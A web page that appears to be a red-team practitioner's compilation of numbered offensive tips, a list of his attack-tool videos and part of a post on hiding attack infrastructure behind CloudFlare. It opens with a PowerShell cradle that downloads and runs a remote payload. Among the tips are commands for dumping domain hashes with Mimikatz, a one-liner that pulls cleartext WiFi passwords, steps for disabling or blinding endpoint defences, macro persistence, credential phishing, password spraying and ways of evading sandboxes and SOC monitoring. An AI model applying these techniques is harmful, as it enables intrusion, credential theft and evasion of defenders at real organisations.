iex (New-Object Net.WebClient).downloadstring("https://myserver/mypayload.ps1")
```

Can help you Bypass ScriptBlock Logging for added OpSec :)

Red tip #229: If you can't use Reg class in WMI to exfil in CLM, use @christruncer's OSRecoveryConfiguration! Examples in WMI Implant.

Red tip #230: Sandbox Analysis taking place? @arvanaghi has a centralised repo of anti sandbox techniques <https://github.com/Arvanaghi/CheckPlease>

Red tip #231: When facing Sandboxes, learn about filetypes and limitations. Dropped some examples at @Steel\_Con and even more at @HITBGSEC!

Red tip #231: @ropnop wrote <https://gist.github.com/ropnop/8711392d5e1d9a0ba533705f7f4f455f> … to perform Kerberos TGT password bruteforce. Potentially stealthier than traditional SMB

Red tip #231: Admin to machine X? X has SPN set to delegate access? Bam! Hit machine X, you don’t need to crack no machine hash.

Red tip #232: Low privilege prevent ATP sending logs? Modify registry and serve WPAD locally to not send data to Msft Domains. @retBandit

Red tip #232: CACTUSTORCH introduces a new set of TTP in Payload Generation. <https://github.com/mdsecactivebreach/CACTUSTORCH> … Reduces signature footprints too!

Red tip #233: Looking for a decent domain but need to force categorisation? Check out <https://github.com/mdsecactivebreach/Chameleon> …! - abuses bugs in proxies ???

Red tip #233: Use WSUSPENDU to move laterally with fake updates even across airgapped environments.

Red tip #234: Instead of using `rundll32`, try `control` @domchell and `winword /L` @subTee ? change indicators!

Red tip #234: Typo squat domains or names containing the target company name might be monitored by registration watch lists.

Red tip #235: Doing many concurrent adversary simulation gigs? Automate the boring target collection process with <https://www.mdsec.co.uk/2017/07/reconnaissance-using-linkedint/>

Red tip #235: When deploying infrastructure, aim to have distinct sets that should not allow for correlation to each other.

Red tip #236: Blue looking for `net users /domain`? Try out `n^eT^1 us^er^s /do`

Red tip #236: In malware delivery, add user identifiable trackers in the execution container to ensure that further steps not failing.

Red tip #237: Use SLK files instead of XLS for Excel DDE code exec without protected view issues. Discovered by @enigma0x3

Red tip #237: Limiting allowed inbound IP ranges using iptables will restrict the ability for external IR teams to fetch payloads or stage

Red tip #238: Keying implants will reduce the likelihood of execution if any keyed item is incorrect. In long operations useful for stealth.

Red tip #238: ATP? sc stop diagtrack

Red tip #239: Over PTH? Use all AES RC4 NTLM.

Red tip #239: Finding zero day DLL hijacks with Rattler can be useful for stealthier long term persistence.

Red tip #240: Don’t use remote exploitation where possible as IDS will often flag on such attempts.

Red tip #241: Local exploitation may be flagged by endpoint security although less likely.

Red tip #242: Exploits such as MS17-010 can be routed internally for privilege escalation using portforwards. Lowers risk of IDS detections.

Red tip #243: ATA detects where tools such as UserHunter or BloodHound query AD. Instead, blacklist DCs. Use file shares / high pop servers.

Red tip #244: Use WMI or WinAPI calls to perform host recon when up against ATP.

Red tip #245: PowerShell Injection Vulnerability Hunter can be integrated into VSCode. Start writing secure offensive PowerShell? ?

Red tip #246: Be extremely cautious when generating tickets and remember to use AES hashes as default good practice where possible.

Red tip #247: Wiki, sharepoint, intranet, fileshares often have access control misconfigs. Almost as good as privilege escalation for info.

Red tip #248: @\_staaldraad Phishing with OAuth <http://staaldraad.github.io/pentest/phishing/2017/08/02/o356-phishing-with-oauth/>

Red tip #249: Obfuscate your macro documents with @MrUn1k0d3r‘s <https://github.com/Mr-Un1k0d3r/MaliciousMacroGenerator>

Red tip #250: Need fast and accurate execution of BloodHound attack paths? try out <https://github.com/vysec/ANGRYPUPPY> … by @vysecurity and @001SPARTaN

Red tip #251: <https://github.com/ramen0x3f/AggressorScripts/blob/master/credpocalypse.cna> … can be set on high volume servers to make sure you get all the credentials ;D @ramen0x3f

Red tip #252: PyBrute for Recon (now reconned) by @OrOneEqualsOne <https://github.com/OrOneEqualsOne/reconned> … Good for enumeration of subdomains :)

Red tip #253: @MrUn1k0d3r releases UniByAv. XOR encrypts shellcode and then does Hyperion type brute force to break the key. ? FUD FUD FUD

Red tip: Use @armitagehacker's CobaltStrike? I'd be careful with NOD32 as it seems to be detecting ElevateKit's use of Powerpick & UacBypass

Red tip #254: Load arbitrary DLL from xwizard.exe by @Hexacorn <http://www.hexacorn.com/blog/2017/07/31/the-wizard-of-x-oppa-plugx-style/>

Red tip #255: Use `rundll32.exe` a lot? Try copy it to another directory to appear as diff name. <http://www.hexacorn.com/blog/2017/05/01/running-programs-via-proxy-jumping-on-a-edr-bypass-trampoline/>

Red tip #256: Use Cloud Hosts / CDNs for redirectors. Unless the cloud provider sells you out, they have no way to find out where the c2 is.

Red tip #257: scans.io has some pretty good databases for a list of subdomains potentially for your target. Use the SQL AXFR one!

Red tip #258: If you're using a domain with the bank's name in it, be careful when registering SSL certs, may get flagged on watch list.

Red tip #259: Payloads served via email links and attachments being sandboxes? Try sending payloads via. direct Skype messages! ?

Red tip - sign up for @VirusTotal intelligence (easy if your company has others using it) - create YARA rules for your domains/tools/handle

Red Tip #260: Enumerate DevOps stack, WSUS, Endpoint security agents - use these to jump into segregated zones.

Red Tip #261: Once again. Never forget SharePoint, easy search functionality and often yields good results.

Red Tip #262: @\_rastamouse shows you how to manually extract relevant RDP credentials from Cred Vault in his labs! <https://rastamouse.me/2017/08/jumping-network-segregation-with-rdp/>

Red Tip #263: Use `lsadump::dcsync /all /csv` in Mimikatz to perform DRSUAPI grabbing of all hashes! Nice.

Red Tip #264: SMB leaking fails if proper network segregation. Thank humans for laptops, work from home, cafes and free wifi! @haifeili

Red Tip #265: Domain Fronting Domain lists for popular CDNs can be found at: <https://github.com/vysec/DomainFrontingLists> … good for defenders too!

Red Tip #266: When performing physical social engineering, don’t forget to pretend to actually scan your ID when tailgating

Red Tip #267: Using HTAs? Follow @enigma0x3 to keep up-to-date with his discovery of monikers to spawn under different parent processes.

Red Tip #268: Review every column in the DB. Sometimes your objective is mislabeled or hiding in a big table. @malcomvetter

Red Tip #269: Remove all document information when creating your Macros. You can even edit the file to put in false attribution data. ![a-1](https://vincentyiu.co.uk/content/images/2018/04/a-1.jpg)

Red Tip #270: Block common security vendors from grabbing your link payloads <https://gist.github.com/curi0usJack/971385e8334e189d93a6cb4671238b10>

red team tips! If you’re not writing your own tools per operation you probably aren’t red teaming correctly. Devops all the processes, discover newly exploitable OSINT sources, fingerprint at mass. Learn to script quickly! And.... happy holidays everyone!

Red tip #272: Aquatone is a DNS discovery tool <https://github.com/michenriksen/aquatone>…. Finds some interesting subdomains that I’ve not seen in some other sources. :D for ex one time it found me a VPN hostname format that I could then simply brute all combinations to discover more.

Red tip #273: 41GB Password dump is a good place to get an idea of username and email formats for target. Also if there are multiple formats in use.

Red tip #274: Password cracking is hard. I love `Top297Million-Probable`, rockyou was decent for a quick smash, but lately found out about Keyboard Walks. Add keyboard walks with rules into your cracking routines to get more hashes cracked! <https://github.com/hashcat/kwprocessor> … Share your ideas!

Red tip #275: Use Exchange timing attacks to narrow down a predicted list of emails down to an accurate list. Better than checking for bounces. @dafthack <https://github.com/dafthack/MailSniper> … implements this attack.

Red tip #276: Embed UNC paths into e-mails to leak a hash from the occasional work from home or travelling employee. Several mitigation’s for this such as setting no automatic authentication in inetcpl.cpl and use of the host based firewall.\
Try using a generic email template.

Red tip #277: Got administrative rights across the domain but can’t hit certain network segments? Be sure to check out web apps, many places and web apps support “script execution” for administrators. Get a shell and try to hit the target segment from the web app.

Red tip #278: Using net users isn’t the only way to get users from AD. You don’t always need to do it from the endpoint. If EDR is an issue connect to web apps and use intranet, mail, dev stack and other tools to obtain user lists and groups.

Red tip #279: If you can’t beat EDR, go around it! @\_RastaMouse

Red tip #280: GPO Misconfigurations are more common than you might think! Not talking about good old cpassword but also file permissions and editable scripts. Check out <https://github.com/l0ss/Grouper> by @mikeloss that automates this!

Red tip #281: @PyroTek3 has documented lots of AD security related information. Probably not a pure red tip but knowing whether and how the blue team or target might fix an issue definitely helps when trying to discover if they’re vulnerable as well as the reporting phase.

Red tip #282: Although I thought it was clear as Microsoft documented it but LAPS passwords are in clear text to users that have the right privileges in AD. Friendly reminder :) Either just browse LDAP or <https://www.harmj0y.net/blog/powershell/running-laps-with-powerview/> … or <https://blog.netspi.com/running-laps-around-cleartext-passwords/> … @harmj0y @kfosaaen

Red tip #283: Linked to #280, @harmj0y has useful references, information and explanations for discovering GPO permissions. <https://www.harmj0y.net/blog/redteaming/abusing-gpo-permissions/> I just used `Get-ACL` on `SYSVOL`. Works for me.

Red tip #284: Windows Credential Vault is often used to store saved passwords. @\_rastamouse walks us through the decryption procedures required to make use of these credentials in his blog post at <https://rastamouse.me/2017/08/jumping-network-segregation-with-rdp/>

Red tip #285: Automatically switch to the most profitable coin to mine using @rvrsh3lls crypto currency mining assistance PowerShell scripts! <https://github.com/rvrsh3ll/CrypoCurrencyPowerShell/blob/master/Mine-BestCoin.ps1>

Red tip #286: Look for pentest and Security reports. Inboxes, file shares, intranets. Replicate vulnerabilities that other people find and report but haven’t been fixed. I’ve done this so many times because client decrypts a report and archives it in clear text.

Red tip #287: Defender anti ransomware in use? <http://www.securitybydefault.com/2018/01/microsoft-anti-ransomware-bypass-not.html?m=1> shows us how we can use a COM object to bypass the anti-write.

Red tip #288: @3gstudent has enlightened us with a way to fully list all installed applications. [https://github.com/3gstudent/3gstudent.github.io/blob/master/\_posts/---2018-1-28-渗透基础——获得当前系统已安装的程序列表.md](https://github.com/3gstudent/3gstudent.github.io/blob/master/_posts/---2018-1-28-%E6%B8%97%E9%80%8F%E5%9F%BA%E7%A1%80%E2%80%94%E2%80%94%E8%8E%B7%E5%BE%97%E5%BD%93%E5%89%8D%E7%B3%BB%E7%BB%9F%E5%B7%B2%E5%AE%89%E8%A3%85%E7%9A%84%E7%A8%8B%E5%BA%8F%E5%88%97%E8%A1%A8.md) Some applications could not be enumerated using WMI

Red tip #289: Don’t use WMI to query `Win32_Product`. Makes an event log entry for tons of MSIinstaller source. Holy crap, this is going on my black list.

Red tip #290: @und3rf10w found that if you kill the threads in Windows Defender it won’t detect anything whilst the process still runs. He also did bits of testing against Carbon Black. Good read! Extension of Phant0m <http://www.insomniacsecurity.com/2017/08/27/phant0m.html>

Red tip #291: Need user IPs without noisy hunting scripts? Pull homeDirs from AD, pwn share, extract host from `%USERPROFILE%\Links\Desktop.lnk`

Red tip #292: 3snake lets you dump sshd and sudo related strings to obtain further credentials on rooted servers. <https://github.com/blendin/3snake>

Red tip #293: @evilcos has gotten ZoomEye back up! If you’ve not used ZoomEye I recommend trying it out. You might get differing results to existing tools! <https://www.zoomeye.org/>

Red tip #294: If you’re using cloud infrastructure for listening posts / redirectors it’s worth checking the IP against known black lists. Just so that it doesn’t end up tainting the reputation of associated domains!

Red tip #295: Most Windows deployment tutorials recommend hard-coding server or domain (admin) credentials in the PXE boot environment. Find the WDS server, send it a DHCP broadcast, and download the TFTP capsule. From @swiftonsecurity

Red tip #296: CACTUSTORCH weaponises James Forshaw’s Dotnet2js research. Allows shellcode execution in JS and HTA files as well as an alternate for Macros. This is being used in the wild and you should know about it! It’s proved useful in EDR cases too! <https://github.com/mdsecactivebreach/CACTUSTORCH>

Red tip #297: Domain Admins is not the only privileged group. Account Operators, Backup Operators, DNS Admins and more exist. Read up with @pyrotek3 <https://adsecurity.org/?p=3700>

Red tip #298: Backup images on disk with world readable access rights. I see this ALL THE TIME. Check out <https://rastamouse.me/2018/02/vhd-to-da/> by @\_rastamouse teaching us how to read VHD without transferring 50 GB.

Red tip #300: Renaming `Mimikatz` to `Mimidogz` will bypass China common security products such as 360. :)

Red tip #301: Your customers security is dependent on yours. With that requirement, I recommend writing a PowerShell script that makes a mobile push to your phone every time you unlock or startup your machine. Similar for SSH onto servers.

Red tip #302: MSSQL: `Domain user -> public role -> UNC leak -> relay or crack` using eg. Inveigh -> suddenly born as a new man! <https://github.com/NetSPI/PowerUpSQL> other cool bits in here worth noting. I do `OS admin` to `SYSADMIN` a lot! <https://github.com/NetSPI/PowerUpSQL>

Red tip #303: Look for open S3 buckets using <https://github.com/sa7mon/S3Scanner> I found 1400 buckets in about 1 hour. Good practice to make sure your client isn’t vulnerable to such attacks and if In red team you might be able to use it to serve payload stages or create waterhole attacks. In total I found over 6000.

Red tip #304: Phish creds on target sites. Forums and other areas let you post image links. `[img]url/cat.png[/img]` for example. Use <https://github.com/vysec/basicAuth> , set PNG as a PHP execution extension. Embed that PNG and whenever someone visits the page it will prompt for credentials.

Red tip #305: Why are privileged / admin user code execution vulnerabilities a thing in web app reports? Because if you’re privileged and can execute code on a web app, you can use it to Pivot into segments, extract secrets from the box, intercept comms, and all that good stuff.

Red tip #306:

> "The supreme art of war is to subdue the enemy without fighting"

In my opinion: get to the goal without having to privesc and move laterally or compromise unnecessary assets or cause collateral damage and noise.

Red tip #307: Stuck against some EDR, or just want to add some complexity to your payload to better train the blue team? Check out SharpShooter by @domchell, a payload generation framework. <https://www.mdsec.co.uk/2018/03/payload-generation-using-sharpshooter/>

Red tip #308: List RDP connections history with @3gstudent <https://github.com/3gstudent/List-RDP-Connections-History> … Useless in times where you don’t have a GUI. I’d combine it with cmdkey to see what’s in vault to figure out where the user may have access :) #redteam #pentest #security

Red tip #309: If DMARC policy is set to the root domain, but not sub domains, check if subdomain policy is applied. If not, spoof from arbitrary subdomains instead :)

Red tip #310: SOC is looking for low user/access count new domains that haven't been seen before and you can't domain front due to RFC2616 proxy? When doing the phish, add invisible image links to your C2 domain so that multiple users will have loaded the C2 domain before use. By the time the domain is used, it won't be a low number of users who have accessed the domain, it can be like 20. Then when the C2 goes in, it's no longer new and low user count. And just to be safe, I'd load unused domains too, like ones that don't belong to you. So that the SOC can go on a wild goose chase even if they think they know what you're doing. Even better, load a JS snippet that just keeps reloading resources from the websites so that there's more hit count per user :D

Red tip #311: Check out `goaccess -> apt-get install goaccess`. Then `goaccess -f /var/log/nginx/access.log` Pretty cool! Now you can see who's hitting your redirector and what they're grabbing at all times in live view? Good for red team dash boards.

Red tip #312: Sandboxes run Macros without prompting right? What if you wrote your Macro to check that it’s set to run without prompting and don’t run? :) only run if it’s on enable content setting... which is more likely to be observed in a real environment.

Red tip #313: Combine DomLink <https://vincentyiu.co.uk/domlink-automating-domain-discovery/> … with `zgrep -f doms-filter.txt scans.gz | awk -F\"name\":\" '{print $2}' | awk -F"\",\"type '{print $1}' | tee -a doms-subs.txt` to get a nice list of subdomains for every DomLink recovered associated domain? :)

Red tip #314: Ton of injection techniques implemented here for reference. <https://github.com/rootm0s/Injectors> … Although mainly in cpp :)

Red tip #315: If you HAVE to spray for creds, use Kerberos spraying as pointed out by @ropnop that the level of auditing is far less by default and does not log invalid attempts. <https://github.com/ropnop/kerberos_windows_scripts>

Red tip #316: Not enough space for a full payload and want to avoid staging in an LNK format? Try @felixw3000 guide on embedding larger payloads into self extracting LNK files. <https://uperesia.com/booby-trapped-shortcut> …

Red tip #317: Stuck on finding benign or of phishing context for target? Try out <https://www.goodemailcopy.com/> for some inspirations! <https://greatemailcopy.com/> and <https://reallygoodemails.com/> and <https://codepen.io/reallygoodemails/>

Red tip #318: Need a way to manage high-level and performed actions per day? @xmind might be a good tool to help you do that. You can arrange per day on major actions performed, you can also put notes into it. <https://www.xmind.net/zen/>

Red tip #319: Builtwith is pretty useful for linking domains using trackers. It also does Shared IP / infrastructure links and displays technologies used. [https://builtwith.com](https://builtwith.com/)thanks to @Jhaddix for pointing it out in his @Bugcrowd talk!

Red tip #320: List Chrome bookmarks with one line:\
`type "C:\Users\%USERNAME%\AppData\Local\Google\Chrome\User Data\Default\Bookmarks.bak" | findstr /c "name url" | findstr /v "type"`\
Thank @francisacer1 for the path to Bookmarks.bak :D

Red tip #321: Want to find out if the current network has an external exposed interface? Eg. Wireless networks? An easy way is to visit <https://ifconfig.co/port/80> on port 22,80,443 for a quick idea. You might find that your current network has another way in!

Red tip #322: Logging the date and time is really important. Go to [http://bashrcgenerator.com](http://bashrcgenerator.com/) and generate a fancy looking, and useful time on your terminal for bash. I combine this with script \~/OPNAME\_DATE.txt.

Red tip #323: Recruiters adding you on LinkedIn? Make the most out of it! 1) Recruitment / Job templates for use in campaigns, 2) Job site you can clone / reference when making your own, 3) Second and third degree connections to target organisations!

Red tip #324: Easy way to get Microsoft tenant ID: `https://login.windows.net/companyname.onmicrosoft.com/.well-known/openid-configuration`. Not sure why when I Google Tenant ID, people censor it out when it's publicly accessible without any authentication. Bunch of interesting output from the request anyhow.

Red tip #325: WPA2 PSK can be cracked on Hashcat too, just in case you were not aware. All you do is make cap2hccapx <https://github.com/hashcat/hashcat-utils> … then convert the handshake CAP file to HCCAPX then crack it in Hashcat mode 2500 :)

Red tip #326: WHOIS Protection in place on domains? Try get WHOIS information from the Autonomous System Number then use that to perform reverse WHOIS to find additional domains. <https://dnslytics.com/bgp/us>

Red tip #327: Hashcat doesn't run through special characters if you use -a 3 for passwords of length < 6. Use -a 3 -1 ?u?l?s ?1?1?1?1?1 instead.

Red tip #328: Need to Spray Office365? Use <https://bitbucket.org/grimhacker/office365userenum>. Tried and tested this tool and works really fast and well in Python. Just do --threads 3000 and --password Welcome1. As all operators know, you don't have time to be testing tools in the middle of a gig. :)

Red tip #329: Running a long gig? Use CloudFlare certificate that lasts 15 years instead of LetsEncrypt. LetsEncrypt lasts like 3 months and requires renewal. If you're domain fronting you don't want to be changing and updating certs to prevent 502 errors.

Red tip #330: Against Palo Alto? Default exemptions by @n00py1 <https://pastebin.com/raw/Fa0nqg5g>. Domain Fronting compatible list at <https://github.com/vysec/DomainFrontingLists/blob/master/CloudFront-SSL-PA-Exempt.txt>

Red tip #331: If you get errors RDPing to a Windows 10 box from Mac OSX or Windows 7, try a Windows 10 box :). Same vice versa with Windows 10 box RDPing to Windows 7 boxes you might have issues, so try using a Windows 7 box. Recent CREDSSP security patch screws it.

Red tip #332: If you're new to Red Team, or are performing a complex series of campaigns and attacks then I recommend using a WHITEBOARD. Yes, a whiteboard. It helps to draft out attacks, list out infrastructure, lets you visualize your campaign chain.

Red tip #333: One liner to grab all cleartext WiFi passwords:

`(netsh wlan show profiles) | Select-String '\:(.+)$' | %{$name=$_.Matches.Groups[1].Value.Trim(); $_} | %{(netsh wlan show profile name=$name key=clear)}  | Select-String 'Key Content\W+\:(.+)$' | %{$pass=$_.Matches.Groups[1].Value.Trim(); $_} | %{[PSCustomObject]@{ PROFILE_NAME=$name;PASSWORD=$pass }}`

Red tip #334: Don’t spend too much time fixated on a rabbit hole. In a CTF you know you can “try harder” but in real life you often have to kick back and rethink what you’re doing. There’s so many times where I’ve found a way to pivot and continue after some good rest.

Red tip #335: Use copy with the /z flag to make **resumable** file transfers on Windows. [@**guyrleech**](https://twitter.com/guyrleech)

Red tip #336: Technical teams often pride themselves on technical capabilities and complexity. In real operations, less is more. The more simple and effective a solution or campaign is, the better. You most probably don’t need that mega complex payload or exploit path.

Red Tip #337: Have a low privileged Office365 account? Pivot over to portal.azure.com after logging in and you can access the Azure AD. If they're syncing AD you suddenly get to view all the groups. Also check out Azure CLI. From @ustayready's @WWHackinFest talk!

Red tip #338: Geographical TTPs should be kept in mind. TTPs that may not be as effective in one location may work wonders in another. Consider defensive solutions, legislation, export controls, compliance etc on that organization within different regions.

Red tip #339: Effective TTPs can differ depending on industry or organization size. An example may be that SMEs may be more likely vulnerable to a credential stuffing attack compared to a global financial organization because less policies around password rotation and expiry.

Red Tip #340: Not sure what countries your target operates in? Find out where all their servers are at least! Automate all the IP -> lat long and then use a Mapping framework to visualize. Works great.

![](/files/-LXnuqMl6FZgJV0cpAXS)

Red Tip #341: VPNHunter can be used to automatically map out some common services such as VPN and dependent cloud services.[ http://VPNHunter.com ](https://t.co/qltOywECmO)

Red Tip #342: If you're running C2 Infrastructure, at least age the domain, build reputation, and SERVE SOME CONTENT on the web root. Oh yeah, don't forget to use VALID CERTIFICATES also.&#x20;

Red Tip #343: When working with Google Drive documents, if it asks you to request permission, you can try. However, you can also try sticking /pubhtml at the end to see if they've published a copy that you can view.

Red Tip #344: Set `HKLM\System\CurrentControlSet\Control\TerminalServer /v fSingleSessionPerUser /d 0`, to allow multiple sessions on a server per user. This is useful if you want to login to the jump-host, but that guy's just on all-day-long... 😶

Red Tip #345: When placing Excel Macro backdoors into Excel startup, you don't have to name it Personal.xlsb, you can also call it "Draft" with no extension. It'll still start up upon opening of Excel.![😊](https://abs-0.twimg.com/emoji/v2/svg/1f60a.svg)... Bonus point for sticking it into Roaming profile. Insert any Macro doc into:`c:\users\%username%\appdata\roaming\microsoft\excel\xlstart\` There won't be any Macro prompts either because it's a trusted location by default.

![](/files/-LrHktOv5-zGG8m_awnC)

Red Tip #346: Can't find any associated domains due to whois privacy? Try this! If they use ProofPoint or other mail filtering solutions, you can try to do reverse MX lookup for that dedicated instance and you can find other tenants who are related 😊

Red Tip #346: If SharpHound doesn't work with --DomainController against the DC IP, try with the domain FQDN such as msp.local. (e.g.: sharphound -c All -d msp.local --DomainController msp.local) [@SecurityTube](https://twitter.com/SecurityTube) and Mysterious Rex!

### Follow me on [Twitter for more Red Team Tips!](https://www.twitter.com/vysecurity) Happy Hacking! <a href="#follow-me-on-twitter-for-more-red-team-tips-happy-hacking" id="follow-me-on-twitter-for-more-red-team-tips-happy-hacking"></a>


# Videos

This area contains a list of videos I've created on YouTube to help educate and inspire more cyber thinking!

USBNinja (Old name: USBHarpoon) - A BadUSB Cable Implementation

* <https://www.youtube.com/watch?v=6mDspyi5ROw>

USBNinja - BT Edition Revealed

* <https://www.youtube.com/watch?v=UhBK-M2iXwA>
* <https://www.bleepingcomputer.com/news/security/usbharpoon-is-a-badusb-attack-with-a-twist/>

DomLink - Horizontal domain enumeration:

* <https://www.youtube.com/watch?v=iHlru5OyAbc>

The Stageless LNK:

* <https://www.youtube.com/watch?v=7v21y21dleA>

Alibaba CDN Domain Fronting:

* <https://www.youtube.com/watch?v=01XwImjQYZs>

CVE-2018-4878 Aggressor Script:

* <https://www.youtube.com/watch?v=JhUlOIEdq0s>

CVE-2018-4878 - SWF IE Driveby:

* <https://www.youtube.com/watch?v=erHQzMIRiq0>

CVE-2017-8747 - SWF Exploit:

* <https://www.youtube.com/watch?v=IGIgI21HM4U>

Fronting Through Asia - Alibaba CDN:

* <https://www.youtube.com/watch?v=IK-mJ-HmQJ8>

CVE-2017-8759 - Weaponisation Tutorial:

* <https://www.youtube.com/watch?v=hlkx5uYBT1Y>

CVE-2017-8759 - RTF WSDL SOAP Parser Vulnerability 1-day:

* <https://www.youtube.com/watch?v=nHXKnTTtWk8>

MorphHTA:

* <https://www.youtube.com/watch?v=X4S2aQ4o_jA>

Token Pivoting? High Integrity Level - SYSTEM -> TrustedInstaller:

* <https://www.youtube.com/watch?v=ytZ22kvuhrQ>

ANGRYPUPPY - BloodHound Attack Automation in CobaltStrike:

* <https://www.youtube.com/watch?v=yxQ8Q8itZao>

BLUEBATTERY - Internet Explorer Enumeration and Manipulation:

* <https://www.youtube.com/watch?v=qlTXfZeaiVI>

LinkedInt - An automated LinkedIn scraper with e-mail format prediction:

* <https://www.youtube.com/watch?v=7d-CAVhSHY0>

CACTUSTORCH - CobaltStrike Aggressor Script:

* <https://www.youtube.com/watch?v=_pwH6a-6yAQ>

CACTUSTORCH - DotNetToJScript all the things:

* <https://www.youtube.com/watch?v=YiaKb8nHFSY>

StarFighters - Run PowerShell without PowerShell within JS and VBS:

* <https://www.youtube.com/watch?v=axBf-4oxOds>

RDPInception - The Dangers of TSCLIENT:

* <https://www.youtube.com/watch?v=uLFBpdjrXx0>

TOR Fronting - Utilising Hidden Services for Privacy:

* <https://www.youtube.com/watch?v=OARw7yg0Ypc>

TOR Fronting - Utilising Hidden Services for Privacy:

* <https://www.youtube.com/watch?v=I3ovfrqcF0I>

Domain Fronting - Sophos Web Security Categorization:

* <https://www.youtube.com/watch?v=0imkl8K4gvY>

Abusing Domain Fronting on Amazon CloudFront:

* <https://www.youtube.com/watch?v=zSBnM2HcRTw>

Paladins - EAC Bypass:

* <https://www.youtube.com/watch?v=LYw6koxkIdw>

DPRK Malleable Profile (Just for lols):

* <https://www.youtube.com/watch?v=biodnXcvDvE>

Cobalt Strike CNA - Eventvwr UAC Bypass:

* <https://www.youtube.com/watch?v=ULIYnrPhgns>

Office Template VDI Persistence:

* <https://www.youtube.com/watch?v=Dkr2aBXpiM0>

Trusted Location Application Whitelist Bypass and Persistence for VDI:

* <https://www.youtube.com/watch?v=gGQ_yxRtfI0>

WePWNise Introduction:

* <https://www.youtube.com/watch?v=trDr3cZRWSA>


# Attack Infrastructure

Posts related to Attack Infrastructure.


# CloudFlare for IP Address Filtering

Filter IP addresses for common security solutions

## TLDR:

{% hint style="info" %}
Short blog post documenting steps to quickly block IP addresses for cybersecurity SaaS solutions which perform scanning and sandboxing analysis using **CloudFlare**'s features.
{% endhint %}

![CloudFlare has a lot of 'cool' features to check out!](/files/-Ma-mo_yLzVm9FwHOBzj)

## Introduction, Background, or Why?

During Adversary Simulation projects, or even just Red Team Operations, we are often tasked try our best to 'penetrate' a target organization. The process of the 'penetration' provides the target organization with the benefit of being able to test their implemented cybersecurity controls and investments to see how well their People, Processes, and Technology can fend off an attack. To be able to perform such simulations, we need 'attack infrastructure'.

Different operators have their own way of deploying infrastructure. There are various sources documenting how to set up Attack Infrastructure. Jeff Dimmock has a [documented Red Team Infrastructure Wiki over on GitHu](https://github.com/bluscreenofjeff/Red-Team-Infrastructure-Wiki)b\[2]. Depending on how Attack Infrastructure is deployed, it can greatly aid or even harm an operation.

Security solutions have been getting better and a lot of innovation has been taking place in the space for cybersecurity products. During Red Team Operations we often see solutions such as E-mail Content Scanning, Link Scanning, Attachment Scanning, and various other types of automated analysis or sandboxing technology. To combat and prevent cybersecurity solutions which use a SaaS delivery model from being able to analyse our implants and phishing websites, Jason Lang (@curi0usjack) released a list of [Bad IP addresses](https://gist.githubusercontent.com/curi0usJack/971385e8334e189d93a6cb4671238b10/raw)\[1]. The community has also been contributing and adding more known Bad IP addresses for security vendors. This list has been referred to by many Red Teamers and is still effective and in use today.

The Bad IP Addresses list was previously deployed using `.htaccess` or `iptables` rules. However, there's been a common theme where a lot of Red Teams use LetsEncrypt - because it's free. Instead, CloudFlare offers free SSL certificates on front of your domains if you use their services. Not only does it provide accelerated content delivery due to their CDN, it can help you automate the SSL deployment process, and also provides a plethora of extended features. These features include Firewall Rules to restrict access to your origin servers.

## Using CloudFlare Firewall Rules for IP Filtering

### Steps to add Firewall Rules

{% hint style="info" %}
TLDR: Create two firewall rules under CloudFlare to block a set of Bad IP addressess known for cybersecurity solutions.
{% endhint %}

1\) Go to Firewall > Firewall Rules > Create a Firewall Rule

![](/files/-Ma-e0ZdMTjjP03t3x91)

2\) Put in a rule name for (1), then select 'IP Source Address' for (2), then change Operator to 'is in' for (3). Check that the Expression Preview (4) is as shown, then for the final action put 'Block' (5). Finally, click on 'edit expression' (6).

![](/files/-Ma-eMF9atJ7I5QRep-l)

3\) You will now have a blank expression to start inserting IP addresses as shown below:

![](/files/-Ma-efGlAGtYzFb51gjb)

From here, we can utilize the previously shared Bad IP list by Jason Lang, and stick it all in. I've formatted it into two separate expressions due to the size limitations of each expression.

**Rule 1:**

```
(ip.src in {3.0.0.0/16 3.112.0.0/16 3.120.0.0/16 3.16.0.0/16 3.40.0.0/16 3.8.0.0/16 3.80.0.0/12 3.82.0.0/16 3.89.0.0/16 8.34.0.0/16 8.35.0.0/16 13.0.0.0/8 18.130.0.0/15 18.132.0.0/14 18.144.0.0/12 18.160.0.0/11 18.192.0.0/11 18.224.0.0/12 18.240.0.0/13 18.248.0.0/14 18.252.0.0/15 20.184.0.0/16 20.185.0.0/16 20.186.0.0/16 20.187.0.0/16 20.188.0.0/16 20.189.0.0/16 20.190.0.0/16 20.191.0.0/16 20.36.0.0/16 20.37.0.0/16 20.38.0.0/16 20.39.0.0/16 20.40.0.0/16 20.41.0.0/16 20.42.0.0/16 20.43.0.0/16 20.44.0.0/16 23.100.0.0/16 23.101.0.0/16 23.102.0.0/16 23.103.0.0/16 23.20.0.0/16 23.249.49.0/24 23.249.50.0/24 23.249.51.0/24 23.249.52.0/24 23.249.53.0/24 23.249.54.0/24 23.249.55.0/24 23.96.0.0/16 23.97.0.0/16 23.98.0.0/16 23.99.0.0/16 27.0.0.0/16 34.0.0.0/8 35.0.0.0/8 35.153.0.0/16 35.154.0.0/15 35.156.0.0/14 35.160.0.0/12 35.176.0.0/14 35.180.0.0/15 35.182.0.0/16 40.112.0.0/16 40.113.0.0/16 40.114.0.0/16 40.115.0.0/16 40.116.0.0/16 40.117.0.0/16 40.118.0.0/16 40.119.0.0/16 40.121.0.0/16 40.122.0.0/16 40.123.0.0/16 40.124.0.0/16 40.125.0.0/16 40.126.0.0/16 40.127.0.0/16 40.64.0.0/16 40.65.0.0/16 40.66.0.0/16 40.67.0.0/16 40.68.0.0/16 40.69.0.0/16 40.70.0.0/16 40.71.0.0/16 40.74.0.0/16 40.75.0.0/16 40.76.0.0/16 40.77.0.0/16 40.78.0.0/16 40.79.0.0/16 40.80.0.0/16 40.81.0.0/16 40.82.0.0/16 40.83.0.0/16 40.84.0.0/16 40.85.0.0/16 40.86.0.0/16 40.87.0.0/16 40.88.0.0/16 40.89.0.0/16 40.90.0.0/16 40.91.0.0/16 41.74.192.0/21 41.74.200.0/23 41.74.202.0/24 41.74.203.0/24 41.74.204.0/22 46.137.0.0/16 46.51.0.0/16 50.112.0.0/16 50.16.0.0/16 50.18.0.0/16 50.19.0.0/16 51.104.0.0/16 51.105.0.0/16 51.136.0.0/16 51.137.0.0/16 51.140.0.0/16 51.141.0.0/16 51.142.0.0/16 51.143.0.0/16 51.144.0.0/16 51.145.0.0/16 51.163.158.0/23 52.0.0.0/8 54.0.0.0/8 62.140.10.0/24 62.140.7.0/24 63.128.21.0/24 63.245.192.0/23 63.245.204.0/24 63.245.205.0/24 63.245.206.0/24 63.32.0.0/16 64.235.144.0/24 64.252.0.0/16 